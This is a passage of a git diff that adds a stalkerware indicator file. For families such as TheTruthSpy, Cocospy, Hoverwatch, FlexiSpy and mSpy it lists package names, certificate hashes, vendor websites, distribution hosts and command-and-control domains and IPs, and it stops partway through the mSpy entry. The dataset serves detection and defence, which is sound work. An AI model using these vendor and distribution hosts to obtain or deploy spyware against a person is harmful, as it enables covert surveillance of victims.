"2026-02-17T19:39:51.987147Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6bec5dc-d0d4-497d-ad2c-601e8b672219", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + } + ] +} \ No newline at end of file diff --git a/data/ioc/stalkerware/ioc.yaml b/data/ioc/stalkerware/ioc.yaml new file mode 100644 index 0000000..5a64c5d --- /dev/null +++ b/data/ioc/stalkerware/ioc.yaml @@ -0,0 +1,4110 @@ +- name: TheTruthSpy + names: + - Copy9 + - InoSPy + - ExactSpy + - FoneTracker + - GuestSpy + - MxSpy + - PhoneSpying + - PhoneTracker + - SpyZee + - TheTruthSpy + - TheSpyApp + - iSpyoo + - XySpy + type: stalkerware + packages: + - com.apspy.app + - com.fone + - com.guest + - com.ispyoo + - com.ispyoo.traceyou + - com.mxspy + - com.spyzee + - com.systemservice + - com.thetruth + - com.ttsapp.catchcheating + certificates: + - 31A6ECECD97CF39BC4126B8745CD94A7C30BF81C + - 36E6671BC4397F475A350905D9A649A5ADE97BB2 + - 483716998F0C092FE82B0B12B1A4BA399D941318 + - 4FF0174BEDC1D16BE55AC53B98599398AC461F82 + - 56EF5244378FB6B4EF82D2B9E99BF41F7B97D93A + - 5D7B59F3AFB74D86CCD56440F99CA2FC83A23F22 + - 917BB5B2D40EC40018541784A06285DE0F50F60F + - B0F639B67819EDBADC73B9FEFF2582FC58B8F115 + - B1336A5F3A017394186563E84AE0D2649FC1697D + - CBDA86758FBE8E5A6AB805F493AA151B1F2B95F4 + - D667A33203776F2285EBA3E826CD286356EF05D0 + - FF8CCD9816B0524A58FBDE1809FB227DBCDFD692 + - E6502D8A870C3F3910EA34F5B46D20D923047580 + - DE648A3253C16692AF71141C069D15C87C3E5495 + - F9181C6CF9AACB3AB1092F5338C3198A8D833431 + - 5E3C376B52C672C81439358DE6348F25F96EAAA4 + websites: + - app.phonespying.com + - copy9.com + - exactspy.com + - fonetracker.com + - free.spycell.net + - guestspy.com + - hespyapp.com + - innoaspy.com + - ispyoo.com + - mobidad.app + - mobilespyonline.com + - mxspy.com + - phoneparental.com + - phonespying.com + - phonetracking.net + - secondclone.com + - spyapps.net + - spycell.net + - thespyapp.com + - thetruthspy.com + - thetruthspys.com + - us.xnspy.pro + - weysys.com + - www.mxspy.com + - www.phonespying.com + - xpspy.com + - xnspy.pro + - inospy.com + distribution: + - app.fonetracker.com + - app.mobiletracking.app + - app.xpspy.com + c2: + ips: + - 69.64.74.239 + - 69.64.81.166 + - 69.64.81.49 + - 69.64.81.98 + - 69.64.91.29 + domains: + - 1ca43.appspot.com + - copy9.com + - guestspy.com + - icloudappe.com + - media-sync-a.copy9.com + - media-sync-a.exactspy.com + - media-sync-a.fonetracker.com + - media-sync-a.ispyoo.com + - media-sync-a.thetruthspy.com + - media-sync-a100.fonetracker.com + - media-sync-a100.thetruthspy.com + - media-sync-a600.fonetracker.com + - media-sync-a621.fonetracker.com + - media-sync-a696.fonetracker.com + - media-sync-a710.fonetracker.com + - media-sync-a740.thetruthspy.com + - media-sync-a743.thetruthspy.com + - media-sync-a746.thetruthspy.com + - media-sync-a747.thetruthspy.com + - media-sync-a748.thetruthspy.com + - media-sync-a749.thetruthspy.com + - media-sync-a780.fonetracker.com + - media-sync-a785.fonetracker.com + - media-sync-a7xx.thetruthspy.com + - media-sync-a810.thetruthspy.com + - media-sync-a820.thetruthspy.com + - media-sync-a825.thetruthspy.com + - media-sync-a830.thetruthspy.com + - media-sync-a835.thetruthspy.com + - media-sync-a895.thetruthspy.com + - media-sync-a8xx.thetruthspy.com + - media-sync-a910.thetruthspy.com + - media-sync-a915.thetruthspy.com + - media-sync-a920.thetruthspy.com + - media-sync-a925.thetruthspy.com + - media-sync-a930.thetruthspy.com + - media-sync-a935.thetruthspy.com + - media-sync-a940.thetruthspy.com + - media-sync-a941.thetruthspy.com + - media-sync-a942.thetruthspy.com + - media-sync-a943.thetruthspy.com + - media-sync-a944.thetruthspy.com + - media-sync-a945.thetruthspy.com + - media-sync-a946.thetruthspy.com + - media-sync-a947.thetruthspy.com + - media-sync.systemserviceprovider.com + - media.thetruthspy.com + - microtracker-1ca43.firebaseio.com + - mxspy.com + - my.copy9.com + - my.ispyoo.com + - my.thetruthspy.com + - my.thespyapp.com + - phonespying.com + - phonetracking.net + - protocol.inospy.com + - protocol-a.copy9.com + - protocol-a.exactspy.com + - protocol-a.fonetracker.com + - protocol-a.guestspy.com + - protocol-a.ispyoo.com + - protocol-a.mxspy.com + - protocol-a.thetruthspy.com + - protocol-a100.fonetracker.com + - protocol-a100.phoneparental.com + - protocol-a100.thetruthspy.com + - protocol-a5.guestspy.com + - protocol-a58.guestspy.com + - protocol-a59.guestspy.com + - protocol-a6.thetruthspy.com + - protocol-a60.guestspy.com + - protocol-a600.fonetracker.com + - protocol-a610.copy9.com + - protocol-a610.thetruthspy.com + - protocol-a611.copy9.com + - protocol-a611.thetruthspy.com + - protocol-a612.copy9.com + - protocol-a614.copy9.com + - protocol-a615.copy9.com + - protocol-a616.copy9.com + - protocol-a617.copy9.com + - protocol-a618.copy9.com + - protocol-a620.copy9.com + - protocol-a621.copy9.com + - protocol-a65.guestspy.com + - protocol-a69.copy9.com + - protocol-a696.copy9.com + - protocol-a70.guestspy.com + - protocol-a710.copy9.com + - protocol-a712.fonetracker.com + - protocol-a72.thetruthspy.com + - protocol-a720.thetruthspy.com + - protocol-a721.thetruthspy.com + - protocol-a722.thetruthspy.com + - protocol-a723.thetruthspy.com + - protocol-a724.thetruthspy.com + - protocol-a725.thetruthspy.com + - protocol-a726.thetruthspy.com + - protocol-a727.thetruthspy.com + - protocol-a728.thetruthspy.com + - protocol-a729.thetruthspy.com + - protocol-a730.thetruthspy.com + - protocol-a731.thetruthspy.com + - protocol-a732.thetruthspy.com + - protocol-a733.thetruthspy.com + - protocol-a734.thetruthspy.com + - protocol-a735.thetruthspy.com + - protocol-a736.thetruthspy.com + - protocol-a737.thetruthspy.com + - protocol-a738.thetruthspy.com + - protocol-a739.thetruthspy.com + - protocol-a740.thetruthspy.com + - protocol-a741.thetruthspy.com + - protocol-a742.thetruthspy.com + - protocol-a743.thetruthspy.com + - protocol-a744.thetruthspy.com + - protocol-a745.mxspy.com + - protocol-a745.thetruthspy.com + - protocol-a746.thetruthspy.com + - protocol-a747.thetruthspy.com + - protocol-a748.thetruthspy.com + - protocol-a749.thetruthspy.com + - protocol-a780.copy9.com + - protocol-a780.fonetracker.com + - protocol-a780.ispyoo.com + - protocol-a780.mxspy.com + - protocol-a785.copy9.com + - protocol-a785.fonetracker.com + - protocol-a810.ispyoo.com + - protocol-a810.mxspy.com + - protocol-a810.thetruthspy.com + - protocol-a811.ispyoo.com + - protocol-a811.mxspy.com + - protocol-a880.ispyoo.com + - protocol-a89.ispyoo.com + - protocol-a89.mxspy.com + - protocol-a910.thetruthspy.com + - protocol-a915.thetruthspy.com + - protocol-a920.thetruthspy.com + - protocol-a925.thetruthspy.com + - protocol-a930.thetruthspy.com + - protocol-a935.thetruthspy.com + - protocol-a940.thetruthspy.com + - protocol-a941.thetruthspy.com + - protocol-a942.thetruthspy.com + - protocol-a943.thetruthspy.com + - protocol-a944.thetruthspy.com + - protocol-a945.thetruthspy.com + - protocol-a946.thetruthspy.com + - protocol-a947.thetruthspy.com + - protocol-monitor.thetruthspy.com + - protocol-viewer-a.copy9.com + - protocol.copy9.com + - protocol.guestspy.com + - protocol.ispyoo.com + - protocol.mxspy.com + - protocol.systemserviceprovider.com + - protocol.thetruthspy.com + - secondclone-2d312.firebaseio.com + - setupmail-a.icloudappe.com + - setupmail-a720.icloudappe.com + - setupmail-a722.icloudappe.com + - setupmail-a724.icloudappe.com + - setupmail-a725.icloudappe.com + - setupmail-a726.icloudappe.com + - setupmail-a727.icloudappe.com + - setupmail-a729.icloudappe.com + - setupmail-a732.icloudappe.com + - setupmail-a733.icloudappe.com + - setupmail-a734.icloudappe.com + - setupmail-a735.icloudappe.com + - setupmail-a737.icloudappe.com + - setupmail-a738.icloudappe.com + - setupmail-a740.icloudappe.com + - setupmail-a741.icloudappe.com + - setupmail-a742.icloudappe.com + - setupmail-a743.icloudappe.com + - setupmail-a744.icloudappe.com + - setupmail-a745.icloudappe.com + - setupmail-a746.icloudappe.com + - setupmail-a747.icloudappe.com + - setupmail-a748.icloudappe.com + - setupmail-a910.icloudappe.com + - setupmail-a915.icloudappe.com + - setupmail-a920.icloudappe.com + - setupmail.icloudappe.com + - support.phoneparental.com + - spyzee.com + - sync-a.copy9.com + - sync-a.exactspy.com + - sync-a.fonetracker.com + - sync-a.ispyoo.com + - sync-a.mxspy.com + - sync-a.thetruthspy.com + - sync-a100.fonetracker.com + - sync-a600.fonetracker.com + - sync-a712.fonetracker.com + - sync-a780.mxspy.com + - sync-a7xx.thetruthspy.com + - sync-a8xx.thetruthspy.com + - sync-a925.thetruthspy.com + - sync-a930.thetruthspy.com + - sync-a935.thetruthspy.com + - sync-a940.thetruthspy.com + - sync-a941.thetruthspy.com + - sync-a942.thetruthspy.com + - thetruth-db94a.firebaseio.com + - app.xyspy.com + +- name: HelloSpy + names: + - 1TopSpy + - HelloSPy + - MaxxSpy + - MobiiSpy + - SpyHide + type: stalkerware + packages: + - com.android.innovaspy + - com.example.hellospy + - com.googlesettings.setting + - com.hellospy + - com.hellospy.system + - com.maxxspy + - com.maxxspy.system + - com.mobiispy + - com.mobiispy.system + - com.mrblue.setting + - com.mrbluetooth.setting + - com.mrtred.setred + - com.prophoto.editor + - com.topspy + - com.topspy.system + - com.virsys.tracker + - com.wifiset.service + - com.wifisettings.service + - googlesettings.setting + certificates: + - 1EBFFD9FE9463B2ED24582D2846990A5ABEF79B9 + - 656CD7890ED79CE8570D1B7156C31958D5AC1606 + - 6B660EAAEBA47793B7A1278D714669A6612BCA5B + - 6EB49E72D6138B4210D1CA60247D419E5660315C + - 7AFD651F96C7C938351396A53895C3C0704F6B96 + - 7F5C0D54A813BA9B87A91420CA2C3DE5E7948F09 + - A40D8FDC7953AD69D970FF00658EB0F58B3A052A + - CD8F39DAECC7793F33D8D847A598373B8F25A7B7 + - F6914F044B9385D6005DC9C50A9AECDC2349F413 + websites: + - 1topspy.com + - account.mobile-remote-tracker.com + - alospy.com + - getspyapps.com + - hellospy.com + - innovaspy.com + - ispytic.com + - maxxspy.com + - mobeespy.com + - mobellspy.com + - mobiispy.com + - mobile-remote-tracker.com + - mobilespyblog.com + - mspymax.com + - opispy.net + - spyacellphone.com + - spyhide.com + - spyhide.ir + - spyios8x.com + - www.spyhide.com + - www.spyhide.ir + distribution: + - profotoeditor.com + - 178.63.71.15 + c2: + domains: + - 1topspy.com + - account.cellphone-remote-tracker.com + - cellphone-remote-tracker.com + - client.spyhide.com + - client.spyhide.ir + - copy9db.com + - flushdata.1topspy.com + - flushdata.copy9db.com + - flushdata.hellospy.com + - flushdata2.hellospy.com + - flushdata3.hellospy.com + - flushdata4.hellospy.com + - flushdata5.hellospy.com + - flushdbd.maxxspy.com + - hellospy.com + - maxxspy.com + - mobiispy.com + - spyhide.com + - spyhide.ir + - virsis.net + - webservicesdb.mobiispy.com + - www.spyhide.com + - www.spyhide.ir + ips: + - 78.47.16.3 + +- name: SpyAdvice + names: + - SpyAdvice + - FreeSpyPhone + type: stalkerware + packages: + - com.sa.app + certificates: + - B374A75F87F992A6F57CF99A24197ABCEB17A1E7 + websites: + - spyadvice.com + - freespyphone.net + distribution: + - download.freespyphone.net + c2: + domains: + - phonetracking-dd226.firebaseio.com + - spyadvice.com + +- name: Reptilicus + names: + - Reptilicus + - CyberNanny + - Vkur + type: stalkerware + packages: + - com.brot.storage.work + - com.cycle.start.mess + - com.thecybernanny.andapp + - net.androidcoreapp.androidbackup + - net.delphiboardlayer.androidcoreapp + - net.reptilicus.clientapp + - net.system_updater_abs341 + - net.vkurhandler + - se.vkur.clientapp + - yc.sysupd.client + certificates: + - 230E35A26E471352DF5DBDBCF9834E0711500CB0 + - 2C08279BCC8EB16B2B31ACFBD7E1D4BB28E49A87 + - 2FD8BEF4081F126D4DA655B40E9FC63F116DD857 + - 9256E291823DA741B64CB23F7E371D0940E5272E + - 9BD494107EFED96F630D29D6E18AE4DCC47149E2 + - 6D0FF787BF4534F1077D1E4BF2E18BA381D97061 + - D3A7E0E542A3E1112741806AC31F341C4200FBA1 + - B61326887306E5A65726AE6BFD1D720D2760CEFF + websites: + - reptilicus.net + - thecybernanny.com + - apollospy.com + c2: + ips: + - 176.9.42.16 + domains: + - apollospy.com + - cabinet.ecohouse-eg.com + - cabinet.gps-monitor.uz + - cabinet.kfnm.ru + - cabinet.vegosm.ru + - cabinet.vkur.se + - cabinet.vkur1.se + - cabinet.thecybernanny.com + - data.reptilicus.net + - e2c64.firebaseio.com + - labrador.ua + - mob.eurotrans.kz + - phonecontrolapp-e2c64.firebaseio.com + - proxy.reptilicus.net + - reptilicus.net + - rp.apollospy.com + - rp.dedrone.com.ua + - rp.labrador.ua + - rp.liquidblue.com.ua + - vkur.se + - vkur1.se + - www.reptilicus.net + +- name: PhoneSheriff + names: + - PhoneSheriff + - MobileNanny + - PeekTab + - RetinaX + - RetinaSpy + type: stalkerware + packages: + - com.retina.phonesheriff + - com.retina21.ms41 + - com.retina22.ms6 + - com.rspl22.retinaspy + - com.retinasoft.ephonetracker + - com.rspl15.nanny.android + - com.rspl16.nanny.android + - com.rspl17.nanny.android + - com.rspl18.nanny.android + - com.rspl19.nanny.android + - com.rspl20.nanny.android + - com.rspl21.nanny.android + certificates: + - F57CBB4CBB9834A14AF675222CECA6A0D26D838E + - F28F3A97D25E51AB266E56D3B80F04747D242E50 + websites: + - www.mobile-spy.com + - www.emobilespy.com + - phonesheriff.com + - www.phonesheriff.com + - www.retinax.com + - retinax.com + c2: + domains: + - mobilenannylogs.com + - phonesheriff.com + - cellmonitoring.co + - www.cellmonitoring.co + +- name: OwnSpy + names: + - OwnSpy + - SaferSpy + - WebDetetive + type: stalkerware + packages: + - com.ownspy.android + - org.system.kernel + certificates: + - CA5304E94F4BC97DA9D147E76858DBF70AB8B4E6 + - 14A071616D4BC37F08BE865D375101F4C963777A + websites: + - mobileinnova.net + - ownspy.com + - en.ownspy.com + - webdetetive.com.br + - ownspy.es + - saferspy.com + - panel.webdetetive.com.br + - era3000.com + - admin.webdetetive.com.br + - webdetetive.era3000.com + distribution: + - 6287970dd9.era3000.com + - c9db9bbc8d.era3000.com + c2: + domains: + - user.ownspy.es + +- name: Cocospy + names: + - Cocospy + - FoneMonitor + - MinSpy + - NeatSpy + - SafeSpy + - Spyic + - Spyine + - Spyzie + - TeenSafe + type: stalkerware + packages: + - com.aiyi.admin + - com.cocospy + - com.duiyun.cocospy + - com.duiyun.cocospy.v2 + - com.duiyun.fonemonitor + - com.duiyun.spyine + - com.duiyun.spyzie + - com.duiyun.spyic + - com.minspy.v2 + - com.minspy.v3 + - com.sc.cocospy.v2 + - com.sc.fonemonitor + - com.sc.fonemonitor.v2 + - com.sc.minspy.v2 + - com.sc.neatspy.v2 + - com.sc.safespy.v2 + - com.sc.safespy.v3 + - com.sc.spyic.v2 + - com.sc.spyic.v3 + - com.sc.spyier.v2 + - com.sc.spyine.v2 + - com.sc.spyzie.v2 + - com.dy.spyzie.v4 + - com.sc.teensafe.v2 + - com.spyic + - com.wb.production + - com.ws.sc + - com.ws.scli + certificates: + - 8418703221A74C73405AD273C28CBC12444D7520 + - B4A1513C2C71F08D2EE763CD3FAE585F71F268A9 + - C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9 + - CC866E79BDAD431A2B1E07229B92E64808221610 + - F25D72FCCB84BAF7F73467FC9571024B7E274CA3 + - 71BE35691A181E1524DDF83F931FBC62DC4E7EC6 + distribution: + - teensafe.vip + websites: + - best-mobile-spy.com + - cocospy.com + - cocospy.net + - fonemonitor.co + - minspy.com + - neatspy.com + - safespy.com + - spyic.biz + - spyic.com + - spyier.biz + - spyine.biz + - spyine.com + - spyzie.com + - spyzie.io + - spyzie.online + - teensafe.net + - teensoftware.com + - www.fonemonitor.co + - www.minspy.com + - www.spyic.com + - www.spyzie.com + - www.teensafe.net + - www.teensoftware.com + c2: + domains: + - alog.umeng.com + - app-api.spyzie.com + - app.api.spyzie.wondershare.cn + - appjiagu.com + - b.appjiagu.com + - c.appjiagu.com + - d.appjiagu.com + - e.appjiagu.com + - f.appjiagu.com + - fonemonitor.vip + - g.appjiagu.com + - data-api.spyzie.com + - data.api.spyzie.wondershare.cn + - h.appjiagu.com + - i.fonemonitor.co + - i.cocospy.com + - i.minspy.com + - i.neatspy.com + - i.safespy.com + - i.spyic.com + - i.spyine.com + - i.spyzie.io + - i.teensafe.net + - mintrack.vip + - my.spyzie.com + - neatspy.vip + - phonedata.me + - app-api.phonedata.me + - data-api.phonedata.me + - spyzie-a.firebaseio.com + - mg-spyzie.oss-us-west-1.aliyuncs.com + - s.appjiagu.com + - safespy.vip + - sp.kuuvv.com + - kuuvv.com + - spyzie.com + - trackier.vip + - trackine.vip + - trackpro.vip + - viptrack.pro + - www.spyzie.com + +- name: VIPTrack + names: + - VIPTrack + type: stalkerware + packages: + - com.mit.viptrackpro + - com.mit.networkadapter + - com.tag.viptrack + certificates: + - 2E104C33C8DA4DB32E59A45701D8E0C4CAD16BD3 + - 5A73C8FE7CBA5C9E70B0DF69B3A111C42A10B215 + - 437940A417B58B1C2CDB85EDE4D37C3DE6EFDC95 + websites: + - viptrack.ro + c2: + domains: + - android.viptrack.ro + ips: + - 89.33.190.8 + +- name: EasyLogger + names: + - EasyLogger + type: stalkerware + packages: + - app.EasyLogger + - app.Easylogger + - app.Elogger + - app.childsafetytracker + - app.seniorsafety + certificates: + - 07906D1FA933730B8EB44F03910C88FDAC2C0135 + - 24D3251C7A1184649211B9068820545397B112C9 + - 35D7CF057BFA5023CE739A725ADA0DA1FD34D1FF + - 8698564FBEC700167FCC53D1AED00FFADF6BED6C + - 8F23E1457ADC6189F6ED504A60DF8896FEC6D970 + - D15A276F181C839E0390672A43065E8D97F140E9 + - 53FADDAF873B7BD00E5AD9F5F05E7888A398CE70 + websites: + - logger.mobi + - childsafetytrackerapp.com + - seniorsafetyapp.com + - www.childsafetytrackerapp.com + - www.seniorsafetyapp.com + distribution: + - inv.logger.mobi + - pro.logger.mobi + c2: + ips: + - 172.67.81.216 + - 104.25.28.15 + - 104.25.29.15 + domains: + - 97.logger.mobi + - account.logger.mobi + - account.childsafetytrackerapp.com + - api.childsafetytrackerapp.com + - api.seniorsafetyapp.com + - beta-api.logger.mobi + - beta.logger.mobi + - easyloggerbeta.azurewebsites.net + - elcore-api.azurewebsites.net + - inv.logger.mobi + - pro.logger.mobi + - ps97mailer.logger.mobi + - pulsesolutions-net-easy-logger.firebaseio.com + - sandbox97.childsafetytrackerapp.com + - sandbox97.logger.mobi + - sandbox97.seniorsafetyapp.com + - senior-safety-189010.firebaseio.com + - servicesloggermobi.azurewebsites.net + - waws-prod-blu-247-e7b3.eastus.cloudapp.azure.com + - waws-prod-blu-247.sip.azurewebsites.windows.net + +- name: Hoverwatch + names: + - Hoverwatch + - SpyBubble + - Refog + type: stalkerware + packages: + - com.android.core.monitor.debug + - com.android.core.monitor.null + - com.android.core.monitornull + - com.android.core.monitor + - com.android.core.mnt + - com.android.core.mnta + - com.android.core.mntah + - com.android.core.mntb + - com.android.core.mntd + - com.android.core.mnte + - com.android.core.mntf + - com.android.core.mntg + - com.android.core.mnth + - com.android.core.mnti + - com.android.core.mntj + - com.android.core.mntk + - com.android.core.mntl + - com.android.core.mntm + - com.android.core.mntn + - com.android.core.mnto + - com.android.core.mntp + - com.android.core.mntq + - com.android.core.mntr + - com.android.core.mnts + - com.android.core.mntt + - com.android.core.mntu + - com.android.core.mntv + - com.android.core.mntw + - com.android.core.mntx + - com.android.core.mnty + - com.android.core.mntz + - cmf0.c3b5bm90zq.patch + certificates: + - 0E0BE37D31CA21F19095FC38F9F1BEF310CE227C + - 4F6AD2383DADACCF93EA5BE4300571C315DBDF5B + - 5284272445CE993DE601BB23CAE6BA9E43E4589C + - 6144ED2E25B6F3A5FAFCF914965CA071A685674B + - 64403A61F41848F987D6FD0BE00392E9561A0EF7 + - AFC457A96258490FBC284EE889634B5F3E325B8E + - B6B58148F1B2198C94BDE546FD2E0734EC7838D6 + - CC4A78DBE96AC1FA5977E03C97052A9A334113B4 + - E8FF1077D207E47AB4B53F275C437C0889579658 + - F21ECAFCFF000686E8EC090F1ECDAECE08798BFF + websites: + - br.refog.com + - de.refog.com + - es.refog.com + - fr.refog.com + - highstermobi.com + - hover.watch + - hoverwatch.com + - hu.refog.com + - hws.icu + - it.refog.com + - my.hws.icu + - nl.refog.com + - prospybubble.com + - refog.com + - refog.de + - refog.net + - refog.org + - ro.refog.com + - www.hoverwatch.com + - www.refog.com + c2: + ips: + - 104.236.73.120 + - 149.56.26.44 + - 158.69.24.236 + - 188.130.241.205 + - 198.100.150.203 + domains: + - a.hw.cab + - hw.cab + - a.hwa.cab + - account.refog.com + - dev.hoverwatch.com + - dev2.refog.com + - downloads.refog.com + - hover.watch + - hoverwatch.com + - hwa.cab + - hwm.cab + - hws.icu + - hww.cab + - i.hoverwatch.com + - i1.hoverwatch.com + - office.hw.cab + - rec.hw.cab + - test.refog.com + - a.syncvch.com + +- name: LetMeSpy + names: + - LetMeSpy + - RemoteCommand + - RemCmd + type: stalkerware + packages: + - pl.lidwin.letmespy + - pl.lidwin.letmespy2 + - pl.lidwin.letmespy3 + - pl.lidwin.letmespy4 + - pl.lidwin.letmespy5 + - pl.lidwin.lms + - pl.lidwin.remote + - pl.lidwin.remote1 + - pl.lidwin.remote2 + - pl.radeal.lms4 + certificates: + - 340E571CB1A64E6EE384D3F8A544681459CF3F5F + - 69EE83CB3E0968B49E33849D40F7D91B0592C7DB + - 8F0EAD4F1DA5DAAF8C0F7A51096CECEEF81D0C76 + - EF6BC4C13FE455CD98192E56D96317069BDF7658 + websites: + - letmespy.com + - remotecommands.com + - www.letmespy.com + - www.teleszpieg.pl + - teleszpieg.pl + - bbiindia.com + - www.bbiindia.com + c2: + ips: + - 91.196.212.202 + - 91.196.212.201 + domains: + - letmespy.com + - remotecommands.com + - zdalnakontrola.pl + +- name: Snoopza + names: + - Snoopza + type: stalkerware + packages: + - com.android.core.mngi + - com.android.core.mngj + - com.android.core.mngk + - com.android.core.mngl + - com.android.core.mngn + - com.android.core.mngo + - com.android.core.mngp + - com.android.core.mngq + - com.android.core.mngr + - com.android.core.mngs + - com.android.core.mngt + - com.android.core.mngu + - com.android.core.mngv + - com.android.core.mngw + - com.android.core.mngx + - com.android.core.mngy + - com.android.core.mngz + certificates: + - 240E97A0587BF99441787EA3BCB2B2D8827564FE + - 854F7978408EA58C5B792C1C1EF9733FC2D5E813 + - 1988EDEA389D42983CEC8B5F8A9C27AE49F800F9 + - 5E16BA998632C1C3E4D4AE707D6EE2454ED2AEB5 + - E023517B163AAAE209CBD97E312752960F575D38 + websites: + - snoopza.com + - get.snoopza.com + - snoopza.zendesk.com + - demo.snoopza.com + - newdemo.snoopza.com + c2: + ips: + - 178.62.59.165 + - 217.182.250.165 + - 46.105.57.148 + domains: + - api.snoopza.com + - app.snoopza.com + - app2.snoopza.com + - dev.snoopza.com + - flower.snoopza.com + - get.snoopza.com + - my.snoopza.com + - my2.snoopza.com + - snoopza.com + - viewer.snoopza.com + +- name: TrackMyPhones + names: + - TrackMyPhones + type: stalkerware + packages: + - com.app.audiorec + - com.app.call_rec_hidden + - com.app.keylogger + - com.app.spy_call_recorder + - com.app.recorder + - com.app.videorec + - com.apps.anti_theft + - com.apps.rct.CellTrackerActivity + - com.dev4playapps.whatsdeleted + - com.gcm_call_sms_tracker + - com.gcm_call_sms_tracker.updated + - com.gcm_call_tracker + - com.gcm_celltracker + - com.local_cell_tracker + - com.local_cell_tracker_updated + - com.soh + - com.trackerapps.whatsaptracker + - com.trackmyphone_pro + - com.trackmyphones.livefamilytracker + - com.trackmyphones.recoverphoneusingchatmessages + - com.trackmyphones.tmpusingchatmessages + certificates: + - 37ACE0321E8833F25BDDB363AB395C81354E88A0 + - 554137DEE63BE07CE9687C5886244954277227F5 + - 68AC78A7CD660ED204B4BC3C73A3F91DA1AE45FC + - 6DB1F33668AA745163DFB6C5614C3800BCA8D693 + - 849D181E1BEE5084CBE1BACBA8442996A8B1F8C6 + - 87EF370B8D6E3089E7F8CDDD6E830B5E4C8CF60B + - A93266E83B136CBC220062898D308213263E793A + - B7285348B05EDAEFF7F032384E4F90182E1C1F27 + - EBD3713DFB02D79ADC90C88DE1E0B547882F5A42 + - F5A5336B28456208EF357B4630A93A91206CF21A + websites: + - trackmyphones.com + - www.trackmyphones.com + c2: + domains: + - cell-tracker-green.firebaseio.com + - cell-tracker-updated.firebaseio.com + - key-logger-90fff.firebaseio.com + - message-tracker-98822.firebaseio.com + - smsandcalltracker.firebaseio.com + - spyaudiorecorder.firebaseio.com + - trackmyphones-pro.firebaseio.com + - trackmyphones.com + - video-recorder-c0419.firebaseio.com + - www.trackmyphones.com + +- name: FlexiSpy + names: + - FlexiSpy + type: stalkerware + packages: + - com.vvt.android.syncmanager + - com.telephony.android + - com.fp.backup + - com.android.phone.dialer + certificates: + - 69B327860EDB531DDFFB1B5DBF0C24245A75F3E4 + - 93385A087BB5CAB96EAE83A1AF874E0E39B2990F + - 20C940625B322C487A89B1FEBF6C090845B040C1 + - 984F8786102D9BF26E5244BBC93733D3609948F4 + - 45DECBF059864164A4BC644D3EAB8127FC98238A + - 0B6C1B010FBEA4316EB01602F71CDD6A8F365023 + - 636F6FE622D3059B569C9989F3CD491607F23A5D + - 284E4AF2E92E8E49EDC2C8792D7008759813CB68 + - F6422B9D4DD3C7370E3ED2879EA4DC8F463CD2A2 + websites: + - flexispy.com + - community.flexispy.com + - blog.flexispy.com + - www.flexispy.com + - mobilefonex.com + - mobileapps.com.my + - flexispy.mobileapps.com.my + - support.flexispy.com + - svlogin.asia + - www.spyphonereview.com + - spyphonereview.com + c2: + ips: + - 119.8.35.235 + domains: + - admin.flexispy.com + - api.flexispy.com + - client.mobilefonex.com + - djp.bz + - dmw.bz + - dmw.cc + - ecom.flexispy.com + - mflx.biz + - portal.flexispy.com + - push.mobilefonex.com + - test-client.mobilefonex.com + - trkps.com + distribution: + - store.mycustomdevice.com + +- name: Cerberus + names: + - Cerberus + type: stalkerware + packages: + - com.lsdroid.cerberuss + - com.lsdroid.cerberus.persona + - com.lsdroid.cerberus.persona2 + - com.lsdroid.cerberus.kids + - com.lsdroid.cerberus.client + - com.lsdroid.cerberus + - com.surebrec + - com.ssurebrec + certificates: + - BC693B48B7EC988E275CF9E1CDAA1447A31717D9 + - 724C6500F11737C12C0B89185A60427989656697 + - 69C28343A4D0F2156D7B56AE4616E1386173A047 + - F2633353631EE72F7B7A7B946FABE1EF0A339041 + - B4ED5FA9E2A9176DA53324717A9B10F57191859C + - 409B589FDEAE073A94D609E2B41A6C0EA952B35A + - C87A87F7F5EDE2D279DDA0CCDE55E6AB85549D70 + - 52B12772C6558D6A44A2DAF9E18FFAE48C577CA7 + websites: + - cellphonetrackers.org + - cerberusapp.com + - cerberusbrasil.com + - enterprise.cerberusapp.com + - www.cerberusapp.com + - www.cerberusbrasil.com + c2: + domains: + - api-project-999803017449.firebaseio.com + - cerberusapp.com + - www.cerberusapp.com + +- name: mSpy + names: + - FakeSys + - KidSecured + - Phonsee + - SecureChildren + - celSpy + - eyeZy + - mSpy + - mSpyOnline + type: stalkerware + packages: + - android.helper.system + - android.sys.process + - com.android.keyboardhelper + - com.mspy.lite + - core.framework + - com.eyezy.android + - core.update.framework + - med.mspy.mspy + - system.framework + - update.service.android + - update.service.android.installer + certificates: + - 021985CEA754D8E58D538D2FEDFF6B1565A6B45B + - 3930B621F30D13D24692CBBBBC67C59F92F1C9BD + - 5EEC898F0DBBD70A9B33DD16EE5FF06B6DE26EA6 + - 7FFE6DA96346FEE822E1F791176CD6970A1DC770 + - 3E1A6646C93A7423A25104A88DA5BECE2F35EFF0 + - CB28ADFD818FBFFDF5542F2EFC5140D596EE957E + - FE821A533BDC31822D9EB5F98243EB16917C8EE7 + - 1ECC7F67BBD1BFAB97ADDCB05A496BCA7B6B135F + websites: + - bill-msp.app + - cart.mspy.com + - ctrl-msp.app + - freefonespy.com + - kidsecured.com + - m-services.app + - mbill.app + - mcontrolapp.com + - mkid.app + - mkidctrl.app + - mkidsecure.com + - mliteapp.com + - mpotect.app + - msafety.app + - msecureapp.com + - msp-control.app + - mspkid.app + - mspy.co.il + - mspy.co.uk + - mspy.com + - mspy.com.ar + - mspy.com.br + - mspy.com.cn + - mspy.com.es + - mspy.fr + - mspy.in + - mspy.it + - mspy.jp + - mspy.net + - mspy.nl + - mspy.support + - mspylite.com + - mspyonline.com + - mspyplus.com + - myfonemate.com + - onlinecontrol.app + - onlinesecure.app + - parent-msp.app + - phonsee.com + - safe-root.com + - secure-msp.app + - securechildren.online + - theispyoo.com + - www.eyezy.com + - www.mspy.com + - www.mspyonline.com + distribution: + - q12z.net + - getmspy.net + c2: + domains: + - a-qa3.thd.cc + - a.thd.cc + - alter757.info + - api.thd.cc + - apiv4.alter757.info + - b55y.net + - bbrp.co + - bi.thd.cc + - cp.mspyonline.com + - eyezyapp.thd.cc + - getmspy.net + - hz-service.thd.cc + - hz7.thd.cc + - idevs.co + - jailbreak-gateway.thd.cc + - kypler.com + - m-media.thd.cc + - mcloud-api.thd.cc + - mi.thd.cc + - mlite-app.livekit.cloud + - mlite-app.thd.cc + - mlite-socket.thd.cc + - mliteapp.alter757.info + - mobile-gw.thd.cc + - mspy.alter757.info + - mspyonline.com + - mspytrackercom.alter757.info + - mtechn.zendesk.com + - 